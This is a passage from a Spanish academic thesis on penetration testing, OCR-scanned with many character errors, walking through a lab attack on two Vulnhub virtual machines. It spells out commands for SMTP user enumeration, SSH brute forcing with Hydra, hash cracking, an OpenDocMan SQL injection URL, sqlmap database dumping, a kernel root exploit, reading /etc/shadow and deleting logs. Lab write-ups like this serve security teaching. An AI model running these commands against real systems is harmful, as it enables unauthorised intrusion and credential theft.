or Problems with ﬁnancnal lssues, please (ontact the HR Depamnent
HR: Marie Mary - marym@herot-niet (On Emergency Leave)
‘Employee Pay: Pat Patrick - patrickp@herot.net
Travel Comp: Terry Thompson - thompsont@herot.net
Benefits: Ben Benedict - benedictb@herot.net

ENGINEERING: For the Engineering Department, we have the following information:
Director of Engineering: Erin Gennieg - genniege@herot.net

Project Manager: Paul Michael - michaelp@herot.net

Engineerlead: Ester Long - longe@herot.net

If you have any problems with this serve eed to change information, please contact the following people:
Sr. System Admin: \ddm i\dqms ad
dmin
Admin: Chad Coffee - coffee

Figura 4:Pagina web en puerto 80 192.168.1.100

De esta pagina nos interesan principalmente las direcciones de correo electronico
ya que el resto de la pagina es una broma. Especialmente interesantes son las direcciones
del final ya que corresponden a los administradores del servidor por lo que probablemente
sus correos coincidan con sus nombres de usuario y nos ayuden a acceder al equipo.
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Como comentamos en la fase de recogida de informacién, es importante que
hagamos listas con los correos electronicos relacionados con la empresa y con variaciones
comunes de ellos. Por ejemplo, poniendo la ultima letra delante o viceversa.

Otro sitio donde podemos buscar informacion es en el servicio SMTP que hemos
nombrado anteriormente. SMTP dispone de tres opciones que pueden sernos Utiles para
descubrir que usuarios existen en el equipo. La primera de ellaes EXPN que nos mostraria
una lista de todos los miembros de esa lista de correo, lamentablemente esta desactivada.
La segunda es VRFY que al introducir una direccion de correo nos dice si existe 0 no en
ese servidor, por desgracia también esta desactivada.

La ultima opcion es RCPT que si estd activa. Para no introducir una a una las
direcciones de correo y sus variaciones podemos usar la herramienta smtp-user-enum que
nos permite usar un archivo que contenga las direcciones de correo que queramaos probar,
el comando que hemos utilizado es: smtp-user-enum -M RCPT -f user@slax.example.net
-D slax.example.net -U usuariosycon.txt -t 192.168.1.100. Y su resultado ha sido el que
podemos ver en la figura 5:

Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )

Worker Processes

Usernames file

Target count

Username count

Target TCP port

Query timeout

Target domain slax.example.net

A Scan started at Fri Jun 24 12:42:31 2016 ######HHH
192.168.1.100: aadams@slax.example.net exists

192.168.1.100: ccoffee@slax.example.net exists

192.168.1.100: bbanter@slax.example.net exists

i Scan completed at Fri Jun 24 12:42:31 2016 #######H4#
3 results.

19 queries in 1 seconds (19.0 queries / sec)

Figura 5:Resultado herramienta smtp-user-enum 192.168.1.100

Como podemos ver, existen en el servidor tres direcciones de las que tenemos en
nuestra lista, que contiene tanto las direcciones conseguidas en la web como variaciones
de ellas.

El siguiente paso es la busqueda de vulnerabilidades por lo que realizaremos un
escaneo en profundidad del equipo elegido incluyendo todos sus puertos, las versiones de
software que estan escuchando en ellos y el SO que utiliza.

Para ello volveremos a utilizar Nmap, pero esta vez utilizando los comandos
necesarios para obtener la informacion que queremos. EI comando usado es: nmap -T 5 -
A -p1-65535 192.168.1.100.

Para ampliar informacién sobre que hace cada flag podemos recurrir al manual de
Nmap disponible dentro de la propia herramienta, esto ultimo es aplicable a todas las
herramientas nombradas. El resultado obtenido es el que podemos ver en la figura 6.


mailto:user@slax.example.net
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Nmap scan report for 192.168.1.100
Host is up (0.00030s latency).
Not shown: 65527 filtered ports
STATE SERVICE VERSION
closed ftp-data
ftp vsftpd (broken: could not bind listening IPv4 socket)
ssh OpenSSH 4.3 (protocol 1.99)

| ssh-hostkey:
| 2048 83:4f:8b:e9:ea:84:20:0d:3d:11 :f0:90:ca:79:1c (RSAL)
| 2048 6f:db:a5:12:68:cd:ad:a9%9:9c:c 9f (DSA)
| 2048 ab:ab:a8:ad:a2:f2:fd:c2:67:05:99:69:40:54:ec:10 (RSA)
| _sshvl: Server supports SSHvl
25/tcp open  smtp Sendmail 8.13.7/8.13.7
| smtp-commands: slax.example.net Hello [192.168.1.4], pleased to meet you, ENHANCEDSTATUSCODES, PIPELIN
ING, 8BITMIME, SIZE, DSN, ETRN, AUTH DIGEST-MD5 CRAM-MD5, DELIVERBY, HELP,

_2.0.0 This is sendmail version 8.13.7 2.0.0 Topics: 2.0.0 HELO EHLO MAIL RCPT DATA 2.0.0 RSET NOOP QU
IT HELP VRFY 2.0.0 EXPN VERB ETRN DSN AUTH 2.0.0 STARTTLS 2.0.0 For more info use "HELP <topic>". 2.0.0
To report bugs in the implementation see 2.0.0 http://www.sendmail.org/email-addresses.html 2.0.0 For lo
cal information send email to Postmaster at your site. 2.0.0 End of HELP info
80/tcp open http Apache httpd 2.0.55 ((Unix) PHP/5.1.2)
| _http-server-header: Apache/2.0.55 (Unix) PHP/5.1.2
| http-title: Site doesn't have a title (text/html).
110/tcp open  pop3 Openwall popa3d
143/tcp open  imap UW imapd 2004.357
| imap-capabilities: AUTH=LOGINAGOO1 SORT BINARY NAMESPACE THREAD=ORDEREDSUBJECT IMAP4REV1 UNSELECT IDLE

SASL-IR STARTTLS CAPABILITY SCAN OK LOGIN-REFERRALS THREAD=REFERENCES LITERAL+ completed MULTIAPPEND MA
ILBOX-REFERRALS
| _imap-ntlm-info: ERROR: Script execution failed (use -d to debug)
443/tcp closed https
MAC Address: 08:00:27:B6:6F:89 (Oracle VirtualBox virtual NIC)

Device type: general purpose

Running: Linux 2.6.X

0S CPE: cpe:/o:linux:linux _kernel:2.6

0S details: Linux 2.6.13 - 2.6.32

Network Distance: 1 hop

Service Info: Host: slax.example.net; 0S: Unix

TRACEROUTE
HOP RTT ADDRESS
1 0.30 ms 192.168.1.100

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 74.75 seconds

Figura 6: Escaneo en profundidad Nmap 192.168.1.100

Una vez investigadas las versiones de software funcionando en el equipo en busca
de vulnerabilidades en NVD y Bugtrag podemos extraer algunas conclusiones:

Existe algin problema con el servidor FTP del puerto 21 ya que Nmap marca que
esta roto, tras usar Ncat confirmamos que es imposible conectarse a él.

Ademas, vemos que en el puerto 22 hay un servidor SSH, este podria ser una via
de entrada al equipo ya que acepta conexiones. Ademas, Nmap sefiala que es compatible
con SSHv1 que es una version obsoleta para la que existia una vulnerabilidad con su
exploit correspondiente pero que ya habia sido subsanada para esta version del programa.

Por otra parte, tenemos el servidor SMTP en el puerto 25 que ya hemos utilizado
para realizar la enumeracion de usuarios existentes en el equipo y que no contiene ninguna
vulnerabilidad que nos proporcione acceso al equipo.

Por otro lado, Nmap sefiala el servidor web Apache en el puerto 80. En principio
no hay ninguna vulnerabilidad que nos dé acceso al equipo para esa version del servidor.
Aunqgue ya nos ha sido Gtil para obtener direcciones de correo.

Asimismo, tras investigar sobre los programas escuchando en los puertos 110 y
143 correspondientes a POP e IMAP vemos que no existen vulnerabilidades conocidas
gue nos sean utiles.

Para finalizar, descubrimos que el equipo utiliza un SO Linux e investigando
encontramos que no existe ninguna vulnerabilidad de interés para esa version del kernel.
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Antes de continuar con la siguiente fase utilizaremos el escaner de
vulnerabilidades OpenVAS para comprobar si hemos pasado por alto alguna
vulnerabilidad que nos pudiera dar acceso al equipo. Los resultados de la herramienta son
los mostrados en la figura 7:

Vuinerabity g [severty @ 000 st oction |

Sendmail NULL Character CA SSL Certificate Validation Security
| 7.5(High)
Bypass Vulnerability 80% 192.168.1.100 25ftcp

phpinfol) cutput accessible & BEEEILTTTEE 80% 192.168.1.100 80/tcp

http TRACE X55 attack T 99% 192.168.1.100 80/tcp

S5H Weak Encryption Algorithms Supported Ol 95% 192.168.1.100 22ftcp

ﬁuplache HTTP Server 'httpOnly' Cookie Information Disclosure | TEITOEE  99% 102.168.1.100 80ftcp
nerability —

TCP timestamps LI  80°% 192.168.1.100 generalftcp

SSH Weak MAC Algerithms Supported LI 95% 192.168.1.100 22ftcp

Figura 7: Resultado OpenVAS 192.168.1.100

Ninguna de las vulnerabilidades encontradas permite acceso al equipo, aunque si
estuviéramos en una red real las dos més graves podrian proporcionarnos informacion
importante para continuar el ataque. La primera permite un ataque MITM vy la segunda
acceder al archivo info.php que contiene informacién como el nombre del usuario que
instalé PHP, si este tenia permisos de administrador, la version del SO utilizado...

Con los datos conseguidos en las fases de recogida de informacion y anélisis de
vulnerabilidades pasaremos a la fase de explotacion obviando la de modelado de
amenazas Ya que el unico vector de atagque posible es intentar autenticarnos en el servicio
SSH con los usuarios obtenidos anteriormente.

Para automatizar el proceso de autenticacion utilizaremos la herramienta Hydra
en la que introduciremos la lista de nombres de usuarios que segin SMTP existen en el
servidor. Para empezar, comprobaremos si alguno de los usuarios ha utilizado su nombre
de usuario como contrasefia. Para ello usaremos el comando: hydra -t 4 -L
usuariosycon.txt -P usuariosycon.txt ssh://192.168.1.100:22. Con ello obtenemos el
resultado mostrado en la figura 8.

Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, o
r for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-06-24 19:37:31
[DATA] max 4 tasks per 1 server, overall 64 tasks, 361 login tries (1:19/p:19), ~1 try per task

[DATA] attacking service ssh on port 22

[STATUS] 223.00 tries/min, 223 tries in 00:01h, 138 todo in 00:01h, 4 active
[22]11 ] host: login: password:

1 of 1 target successfully completed, 1 valid password found

Hydra (http://www.thc.org/thc-hydra) finished at 2016-06-24 19:39:13

Figura 8:Resultado Hydra Usuario=Contrasefia 192.168.1.100

Como podemos ver bbanter uno de los usuarios del sistema ha utilizado su nombre
de usuario como contrasefia con lo que hemos conseguido acceso al equipo. Ahora
procederemos a autenticarnos en él y ver que permisos tenemaos.

Tras entrar al equipo e intentar leer el shadow file utilizando el siguiente comando:
cat /etc/shadow descubrimos que no podemos acceder por lo que no podemos obtener el
hash de la contrasefia de administrador. Al intentarlo usando el comando sudo el equipo
nos informa que el usuario actual no tiene permiso para ejecutar acciones como
administrador por lo que deberemos buscar otro método.
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A continuacion, intentamos acceder al archivo /etc/passwd en el que se almacenan
los nombres de usuario, aunque no las contrasefias, de esta forma confirmamos que
ademas de bbanter existen también los usuarios aadams, ccoffee tal y como puede verse
en la figura 9 y como ya sefialaba el servicio SMTP.

aadams:x:1000:10:,,, :/home/aadams:/bin/bash
bbanter:x:1001:100:,,,:/home/bbanter:/bin/bash

ccoffee:x:1002:100:,,,:/home/ccoffee:/bin/bash

Figura 9: Usuarios existentes 192.168.1.100

Dado que no sabemos si alguno de ellos tiene acceso administrativo utilizamos el
comando group seguido del nombre de usuario. Asi descubrimos que ccoffee forma parte
del grupo users y aadams del grupo wheel. Normalmente los usuarios del grupo wheel
tienen la capacidad de utilizar sudo por lo que intentaremos autenticarnos con el usuario
aadams usando Hydra.

En esta ocasion utilizaremos el usuario aadams y uno de los diccionarios que
incluye Kali Linux Ilamado rockyou.txt que contiene las contrasefias mas usadas
alrededor del mundo obtenidas de diferentes filtraciones. Para ello utilizaremos Hydra
para autenticarnos en SSH con el comando: hydra -f -t 64 -vwW -l aadams -P
lusr/share/wordlists/rockyou.txt ssh://192.168.1.100:22. Tras mas de una hora
obtenemos que la contrasefia para el usuario aadams es “nostradamus”.

Procedemos a autenticarnos en el equipo con el usuario y contrasefia obtenidos y
tratamos de leer otra vez el shadow file usando el comando sudo. En esta ocasion tenemos
éxito y se nos muestra los hashes de las contrasefias de todos los usuarios entre ellos las
del usuario root como puede verse en la figura 10.

aadams@slax:~$ sudo cat /etc/shadow

root:$1$T0i0OHESn$j30bHaAlUdMbHQNJ4Y5Dq0:13553:0
bin:*:9797:0

daemon:*:9797:0
adm:*:9797:0

Figura 10: Hash administrador 192.168.1.100

Una vez obtenido acceso al shadow file solo nos resta obtener la contrasefia de
administrador para terminar con la fase de explotacion. Para ello copiamos el hash del
administrador a un archivo de texto y procedemos a recuperar la contrasefia utilizando la
herramienta John The Ripper en la cual usaremos el siguiente comando: John —
wordlist=/usr/share/wordlists/rockyou.txt passadmin.txt. Tras media hora John nos
devuelve la contrasefia “tarot” por lo que podemos pasar a la fase de post-explotacion al
haber obtenido privilegios administrativos completos.

Tal y como comentamos anteriormente, el primer paso en la fase de post-
explotacion es el mantenimiento del acceso, pero dado que no hemos accedido al equipo
mediante el uso de un exploit no necesitamos utilizar un backdoor ya que podemos usar
el protocolo SSH.

El segundo paso es obtener la maxima cantidad de informacion del equipo por si
pudiera ser Util posteriormente. Al ser una maquina virtual sabemos que sus interfaces de
red no nos descubrirdn ninguna subred nueva, pero si no fuera el caso deberiamos
comprobarlo usando los comandos ifconfig o ip a. Asimismo debemos comprobar si
existen puertos abiertos que no hayan sido descubiertos por Nmap. Para ello estando
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dentro de la maquina atacada usamos el comando: nmap -A localhost. Este nos muestra
los resultados de la figura 11.

STATE SERVICE VERSION

open ftp vsTtpd (broken: could not bind listening IPv4 socket)
open ssh OpenSSH 4.3 (protocol 1.99)

open smtp Sendmail 8.13.7/8.13.7

open time?

open http Apache httpd 2.0.55 ((Unix) PHP/5.1.2)

open pop3 Openwall popa3d

open rpcbind 2 (rpc #100000)

open ident OpenBSD identd

open 1imap UW imapd 2004.357

open smtp Sendmail 8.13.7/8.13.7
open 1ipp CUPS 1.1

Figura 11: Escaneo Nmap desde dentro maquina objetivo

Como podemos ver hay cuatro puertos que Nmap no habia detectado
anteriormente por lo que procedemos a investigarlos.

Aparentemente, el servicio time en el puerto 37 es un protocolo precursor de NTP
que actualmente esta en desuso. Por su parte el servicio rpchind también conocido como
port mapper podria decirnos que otros servicios se encuentran en funcionamiento en la
maquina objetivo, pero no es visible fuera del propio equipo. En lo que respecta al servicio
OpenBSD identd del puerto 113 da acceso al protocolo del mismo nombre que identifica
al usuario de una conexion TCP en particular. Ninguno de estos servicios tiene
vulnerabilidades que pudieran permitir acceso al equipo.

Finalmente, el servicio CUPS 1.1 corresponde a un servidor de impresion y tiene
una vulnerabilidad conocida con nimero CVE-2004-1267. Esta vulnerabilidad, que
ademas cuenta con un exploit, permitiria ejecutar codigo arbitrario por lo que podria
obtenerse acceso administrativo si se utilizara. Lamentablemente este servicio no es
visible desde fuera de la maquina y no ha podido ser explotado.

El altimo paso de la fase de post-explotacion es el borrado de huellas. En nuestro
caso dado que la discrecion no es importante bastaria con borrar los logs del equipo
localizados en la carpeta /var/logs.

Ahora continuaremos con la recogida de informacion en la maquina con IP
192.168.1.108. Para ello visitaremos el servidor web que aparecia en nuestro primer
escaneo con Nmap. Navegando por el sitio no encontramos ningln correo electronico que
pueda sernos Util para autenticarnos en el servicio SSH ni nada extrafio hasta que llegamos
a la pestafia Documentation mostrada en la figura 12.
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JABC

Just Another Bioware Company

Documentation

Figura 12: Pestafia Documentation

Una seccidn de la web vacia y con fondo negro nos hace sospechar que debe haber
algo oculto por lo que echamos una ojeada al codigo HTML. Tras leer detenidamente el
cddigo en busca de algo fuera de lo comdn encontramos unas lineas escondidas en él tal
y como muestra la figura 13.

documentation of our prooucts, please visit our documentation platiorm at /ja on the server. Just ogin w th ques

Figura 13: Pestafia Documentation oculta

Parece ser que hay una seccion oculta de la web accesible en
http://192.168.1.8/jabcdOcs/ para la que ademas nos proporcionan un usuario y
contrasefia por lo que procedemos a visitarla. En la pagina de login de la seccion oculta
visible en la figura 14 observamos que utiliza OpenDocMan version 1.2.7 una
herramienta para gestion de documentos. Dado que existe una pagina de login es facil
suponer que existe una base de datos subyacente que podria ser vulnerable a ataques de
inyeccion.

OpendocMin

Usemame | auest

Welcome 1o OpenDocMan
Log In to begin using the system's powerful storage, publishing and revision control features.

‘ Forgot your password?
asswor goty F

Enter

Sign-up for an account

OperdocMor

Copyright © 2000-2013 Stephen Lawrence

OpenDocMan v1.2.7 | Support | Feedback | Bugs |

Figura 14: Pagina login seccién oculta


http://192.168.1.8/jabcd0cs/
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Procedemos a autenticarnos con el usuario y contrasefia proporcionados y
observamos la pagina mostrada en la figura 15.

JABC-DOCS Home | Check-ir Searct Add Document  Logout Logged in as guest

You are here: Files List

Filter by: Select one j Empty j Empty j
Show 10 j eniries Search;
ID View File Name Description Rights Date Medified Author Department Size Status
Created Date
; : 21 Apr 2016 21 Apr 2016 . : 377.84
llew what _Is p 17 rlwi-
1 Vie hat_Is_A.|.pdf What is A.l |w| (16:12) (16:12) min, web Bloware KB L4
. 21 Apr2016 21 Apr2016
View aramaki.pg ama rlwj- X E 7.l
2 e ramaki.jpg Aramaki |w] (16:15) (16:15) min, web Bioware 27.04 KB v
, 21 Apr 2016 21 Apr 2016 431.02
liew sanagi.Jpg rlwj- b
3 Vie kusanagi.pg Kusanagi |w] (16:16) (16:16) min, web Bioware KB v
. 21 Apr2016 21 Apr2016 662.05
View ogusa.jpg a rlwj- X E
4 e togusa.jpg Togusa |w] (16:16) (16:16) min, web Bioware KB v
., 21 Apr2016 21 Apr2016
View eal-mute.|pg riwij- b J
5 Vie deaf-mute.Jpg laughing man |w| (16:17) (16:17) min, web Bioware 83.07 KB v
6 View gits-2.jpg its rjwi- 21 Apr 2016 21 Apr 2016 min, web Bioware 23.3 KB
view glts-2.Jpg g (16:19) (16:19) : : - v
ID View File Name Description Rights Date Modified Author Department Size Status
Created Date
Showing 1 to & of 6 entries First | | Previous |1 | Next| Last

Figura 15: Pagina principal OpenDocMan

Como podemos ver hay varias imagenes y un archivo PDF ninguno de los cuales
nos proporciona ninguna informacion. Sin embargo, observamos la pestafia Add
Document que nos permite subir archivos al servidor.

Una vez hemos terminado de recoger informacion en la pagina web realizaremos
un escaneo mas detallado del equipo utilizando Nmap con el comando: nmap -T 5 -A -
pl-65535 192.168.1.8 lo que nos devuelve como resultado la figura 16.

Starting Nmap 7.12 ( https://nmap.org ) at 2016-06-28 12:49 CEST
Nmap scan report for 192.168.1.8
Host is up (0.00064s latency).

: 65532 closed ports

STATE SERVICE VERSION

open ssh OpenSSH 6.6.1pl Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 f5:4d:c8:e7:8b:cl:b2:11:95:24:Fd:0e:4c:3c:3b:3b (DSA)
| 2048 ff:19:33:7a:cl:ee:b5:d0:dc:66:51:da:f0:6e:fc:48 (RSA)
| 256 ae:d7:6f:cc:ed:4a:82:8b:e8:66:a5:11:7a:11:57:86 (ECDSA)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
| http-server-header: Apache/2.4.7 (Ubuntu)
| _http-title: VulnOSv2
6667/tcp open 1irc ngircd
MAC Address: 08:00:27:57:4F:AA (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
0S CPE: cpe:/o:linux:linux _kernel:3 cpe:/o:linux:linux_kernel:4
0S details: Linux 3.2 - 4.4
Network Distance: 1 hop
Service Info: Host: irc.example.net; 0S: Linux; CPE: cpe:/o:linux:1linux_kernel

Figura 16: Nmap detallado 192.168.1.8

Tras investigar las versiones de los servicios descubrimos que el servidor SSH no
tiene ninguna vulnerabilidad que pueda darnos acceso al equipo y del IRC tenemos
unicamente el nombre del programa y no el nimero de version por lo que no podemos
asegurar nada. Dado que en la pagina web hemos encontrado dos posibles vectores de
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ataque (la pagina de login y la capacidad de subir archivos) realizaremos un escaneo mas
especifico en busca de vulnerabilidades web.

El escaneo de vulnerabilidad web usando Nikto no nos devuelve ninguna
vulnerabilidad relevante por lo que solo nos queda comprobar si la pagina de login en
OpenDocMan descubierta anteriormente es vulnerable a SQL Injection. Para ello
buscamos el programa usando la herramienta searchsploit que realiza una busqueda en
una copia local de la base de datos exploit-db y que nos devuelve el resultado mostrado
en la figura 17.

:~# searchsploit opendocman 1.2.7

Exploit Title
| (/usr/share/exploitdb/platforms)

- Multiple Vulnerabilities

Figura 17: Resultado searchsploit

Indica que existen multiples vulnerabilidades en esta version por lo que
accedemos al archivo que nos indica. En la figura 18 vemos que existen dos
vulnerabilidades y que una de ellas es de tipo SQL Injection situada en /ajax_udf$ y mas
concretamente en add_value.

1) SQL Injection in OpenDocMan: CVE-2014-1945
IThe vulnerability exists due to insufficient validation of "add value" HTTP GET parameter in "/ajax_udf$

The exploitation example below displays version of the MySQL server:

http://[host]/ajax udf.php?q=1&add value=odm user%20UNION%20SELECT%201,v
ersion%28%29,3,4,5,6,7,8,9

Figura 18:Descripcion SQL Injection 192.168.1.8

Asi pues, adaptamos la URL proporcionada a nuestro caso y entramos en:
http://192.168.1.8/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user y obtenemos la
figura 19.

Primary: | 5.5.47-0ubuntu0.14.04.1 v |
Delete? Value

New:

Update || Cancel |

Ope@oc/‘//a(?

Copyright © 2000-2013 Stephen Lawrence

OpenDocMan v1.2.7 | Support | Feedback | Bugs |
Figura 19: Base de datos vulnerable a SQL Injection

Una vez hemos descubierto la vulnerabilidad solo nos queda explotarla para ver
qué informacién util podemos extraer de la base de datos. Para ello utilizaremos la
herramienta sqlmap que nos permite automatizar las consultas a la base de datos. Para
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empezar, usamos sglmap con las opciones por defecto para descubrir que base de datos
estd en funcionamiento en el equipo. Como resultado obtenemos la figura 20.

[00:12:17] [INFO] GET parameter 'add_value' is 'MySQL UNION query (15) - 1 to 10 columns' injectable

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
GET parameter 'add_value' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N

sqlmap identified the following injection point(s) with a total of 595 HTTP(s) requests

Parameter: add value (GET)
Type: UNION query
Title: MySQL UNION query (15) - 9 columns
Payload: g=1&add_value=odm_user UNION ALL SELECT 15,CONCAT(0x7170767a71,0x4246586c736175564846465346464d576b715269754b4945495

[00:12:38] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Ubuntu

web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.0.0

Figura 20:Resultado sqlmap 192.168.1.8

Como podemos ver la base de datos usada es MySQL en una version igual o
superior a la 5.0. A continuacién consultamos cuantas bases de datos hay disponibles en
el servidor con el comando:

sglmap -u "http://192.168.1.8/jabcdOcs/ajax_udf.php?g=1&add_value=odm_user" -p
add_value --dbs

Lo que nos devuelve seis bases de datos tal y como podemos ver en la figura 21.

available databases [6]:
[*] drupal?7

[*] information_ schema
[*] jabcdBes

[*] mysql

[*] performance schema
[*] phpmyadmin

Figura 21: Lista bases de datos 192.168.1.8

A continuacion, consultamos las tablas existentes en cada base de datos en busca
de algun dato de interés. No encontramos nada excepto en la tabla odm_user de la base
de datos jabcdOcs en la que obtenemos la figura 22.

Database: jabcdcs
Table: odm_user
[2 entries]
-------- B T et T T 3
| username | password |

R e Hemmmmeme oo +

| 1 | 5555551212 | webmin@example.com | webmin | b78aae35670918c31118ea613980954b | min | web
| 2 | 555 5555555 | guest@example.com | guest | 084e0343a04867f05530df6c705c8bb4 (guest) | guest | guest
R e B Fommm e B Fommmmee e Fommmm e

Figura 22:Tabla user_odm de jabcdOcs 192.168.1.8

Como podemos ver, en esta tabla se almacenan todos los datos de los usuarios
incluyendo los hashes de las contrasefias. Aparece el usuario guest del que ya tenemos la
contrasefia y el usuario webmin que suponemos es el administrador del sitio web.

Tras intentar recuperar la contrasefia utilizando John The Ripper y el diccionario
rockyou.txt disponible en Kali no conseguimos la contrasefia. Procedemos a intentar
recuperarla utilizando el diccionario sqlmap.txt que incluye la propia herramienta también
sin éxito.

Dado que las contrasefias mas conocidas no tienen éxito debemos haber pasado

por alto algin dato en las bases de datos conseguidas o en la pagina web por lo que
procedemos a buscar mas en profundidad en ambos sitios. Tras la busqueda, el Unico dato
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que parece puesto intencionadamente es la frase que podemos ver en la figura 23 situada
en la parte de debajo del sitio web.

2016 ©@Vulnerable since 1980

Figura 23: Dato extrafio 192.168.1.8

Puesto que no hemos encontrado ningln otro dato de interés procedemos a crear
un diccionario con combinaciones de esas palabras como since1980, vulnerable1980,
vulnerablesince y combinaciones de estas palabras con las contrasefias del diccionario
sglmap.txt que son las mas utilizadas en bases de datos.

Tras volver a lanzar John The Ripper con el diccionario creado obtenemos la
contrasefia mostrada en la figura 24.

:~/Desktop# john --format=raw-md5 --wordlist=wordlistmodificada.txt hashwebmin.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status

webmin1980 (?)

1g 0:00:00:00 DONE (2016-06-29 13:22) 6.2509/s 7248Kp/s 7248Kc/s 7248KC/s webmedia..webmultitech
Use the "--show" option to display all of the cracked passwords reliably

Session completed

Figura 24:Password webmin recuperado por John 192.168.1.8

La contrasefia obtenida es webmin1980 que es una combinacion del texto
encontrado y del usuario webmin. Una vez tenemos este dato y al no haber ningun otro
vector de ataque procedemos a autenticarnos en SSH con este usuario y contrasefia.
Conseguimos acceder al equipo, pero no podemos acceder al shadow file ya que no
tenemos permisos de administrador y no podemos usar sudo.

Tras investigar los archivos del equipo no encontramos nada de interés por lo que
procedemos a investigar que version del SO utiliza usando el comando: uname -r que nos
devuelve que el nucleo Linux usado es la version 3.13.0-24-generic por lo que
procedemos a buscar una vulnerabilidad.

Descubrimos que existe un exploit local disponible en exploit-db con nimero
37292 para obtener una shell con permisos root que aprovecha la vulnerabilidad CVE-
2015-1328. Asi pues, descargamos el exploit en la maquina atacada usando el comando
wget y procedemos a compilarlo tal y como indica su creador. A continuacion, lo
ejecutamos y conseguimos la shell con permiso de administrador y procedemos a acceder
al shadow file y al hash de administrador obteniendo la figura 25.

# cat /etc/shadow

root:$6$FUG2g00Z$KSa0C5cB4IZKYUXxSATTHW3XpUXLNaZZ0cMzw5Vj0t3IEVZIrHMPmsWUKWSXV . c4FnOEt.BCW/e7GWQZyNLbXD. :
16923:0:99999:7:::

Figura 25: Hash administrador 192.168.1.8

Dado que ya tenemos permisos de administrador gracias al exploit no es necesario
recuperar la contrasefia y podemos pasar a la fase de post-explotacion.

Como en la maquina anterior, al haber accedido mediante SSH no necesitamos
instalar un backdoor para mantener el acceso. Pasamos pues a la recogida de informacién
en el equipo que en este caso no devuelve ningun dato nuevo ni ningun puerto que Nmap
no hubiera detectado por lo que solo restaria borrar los logs para dar por terminado el
pentest.


https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1328
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6. CONCLUSIONES

6.1 CUMPLIMIENTO DEL OBJETIVO

El principal objetivo de este trabajo era esbozar las siete fases de un test de
penetracion siguiendo la metodologia mostrada en el Penetration Testing Execution
Standard y proporcionar informacion actual y contrastada de las técnicas y herramientas
utilizadas durante un pentest profesional y a que fase pertenecen cada una de ellas.

Creemos haber cumplido el objetivo, ya que nuestras fuentes son, en su mayoria,
libros escritos por profesionales y docentes del sector de la auditoria de seguridad con
una antigiiedad menor por lo general a los cuatro afios. Ademas, hemos descrito las
técnicas y herramientas mas utilizadas para cada una de las fases.

Otro de nuestros objetivos era encontrar y recopilar lugares donde practicar el
pentest de forma gratuita -ya fuera en linea o fuera de linea-. También hemos cumplido
este objetivo, puesto que hemos proporcionado abundantes lugares donde poder practicar
el pentest, entre ellas el sitio web VVulnhub del que hemos extraido las maquinas virtuales
para nuestra seccion de pruebas.

Por Gltimo, nuestro objetivo de realizar una pequefia auditoria para comprobar que
la metodologia, técnicas y herramientas descritas eran correctas ha sido cumplido, dado
que hemos conseguido acceso administrativo a los dos equipos preparados para ello
siguiendo en todo momento las fases anteriormente descritas.

6.2 PROBLEMAS ENCONTRADOS

Nuestro primer problema ha consistido en definir con qué nivel de detalle abordar
la auditoria, ya que dada la amplitud y profundidad del tema es imposible hablar de todo.
Puesto que la extension del trabajo es limitada, hemos preferido tratar muchos temas con
poca profundidad y proporcionar una bibliografia lo mas completa posible con la que
ampliar detalles.

El otro problema ha sido de indole técnica, pues llevar la teoria a la préctica
siempre entrafia una serie de dificultades que se tienen que ir subsanando.

Detras de la parte practica del trabajo hay muchas méas horas e investigacion de
las que pudiera parecer ya que las herramientas tienen multitud de opciones y no siempre
es facil saber como se utiliza una en particular. Para ello han resultado muy utiles los
manuales incluidos con las herramientas, aunque frecuentemente ha sido necesaria una
busqueda mas exhaustiva para descubrir coémo lograr el resultado esperado.

6.3 CONCLUSIONES SOBRE EL PROYECTO

Como hemos visto a lo largo de este trabajo, hay muchisimas formas de acceder
a un equipo y de obtener informacion relevante sobre una empresa. En multitud de
ocasiones es debido a la negligencia de los administradores de los sistemas (por ejemplo,
al no actualizar las aplicaciones o al utilizar la misma contrasefia de administracion en
todos los equipos). Sin embargo, aun haciendo correctamente lo anterior no estamos
Seguros.

Ningun sistema de seguridad es infalible y, en muchas ocasiones, ocurre lo que ya
dijo el famoso hacker Kevin Mitnick “Las organizaciones gastan millones de délares en
firewalls y dispositivos de seguridad, pero tiran el dinero porque ninguna de estas medidas
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cubre el eslabdn més débil de la cadena de seguridad: la gente que usa y administra los
ordenadores”.

La Unica solucién posible es la realizacion de auditorias periddicas y la creacion
de una cultura de la seguridad para concienciar a todos los empleados de los riesgos a los
que se exponen.
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